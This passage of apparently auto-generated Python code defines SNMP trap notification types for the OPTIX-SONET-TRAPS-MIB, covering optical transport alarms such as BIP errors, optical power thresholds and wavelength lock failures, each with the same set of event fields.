"rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSmBEI.setStatus('current') evtPmBEI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 279)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPmBEI.setStatus('current') evtSmIAE = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 280)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSmIAE.setStatus('current') evtSmBipExcessive = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 282)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSmBipExcessive.setStatus('current') evtPmBipExcessive = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 283)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPmBipExcessive.setStatus('current') evtSmBipSignalDefect = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 284)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSmBipSignalDefect.setStatus('current') evtPmBipSignalDefect = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 285)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPmBipSignalDefect.setStatus('current') evtOTUAlarmIndicationSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 286)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtOTUAlarmIndicationSignal.setStatus('current') evtODUAlarmIndicationSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 287)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtODUAlarmIndicationSignal.setStatus('current') evtODUOpenConnectionIndicationSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 288)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtODUOpenConnectionIndicationSignal.setStatus('current') evtODULockedIndicationSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 289)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtODULockedIndicationSignal.setStatus('current') evtSumInputOpticalPowerHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 323)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSumInputOpticalPowerHigh.setStatus('current') evtSumInputOpticalPowerLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 324)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSumInputOpticalPowerLow.setStatus('current') evtSumOutOpticalPowerHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 325)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSumOutOpticalPowerHigh.setStatus('current') evtOutOpticalPowerLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 326)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtOutOpticalPowerLow.setStatus('current') evtGainLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 327)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtGainLow.setStatus('current') evtExcessiveErrorDefectBeforeFEC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 335)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtExcessiveErrorDefectBeforeFEC.setStatus('current') evtDgeAdjustmentFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 433)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDgeAdjustmentFail.setStatus('current') evtWavelengthLockFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 439)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtWavelengthLockFail.setStatus('current') evtHotSwitchControlUnavail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 440)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtHotSwitchControlUnavail.setStatus('current') evtEsconCodeError = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 570)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEsconCodeError.setStatus('current') evtCommitTimeout = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 573)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtCommitTimeout.setStatus('current') evtSwdlNePackageCheck = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 574)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSwdlNePackageCheck.setStatus('current') evtSwdlChaGmngmMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 575)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSwdlChaGmngmMismatch.setStatus('current') evtDBSyncFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 591)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDBSyncFail.setStatus('current') evtClientMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 604)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), 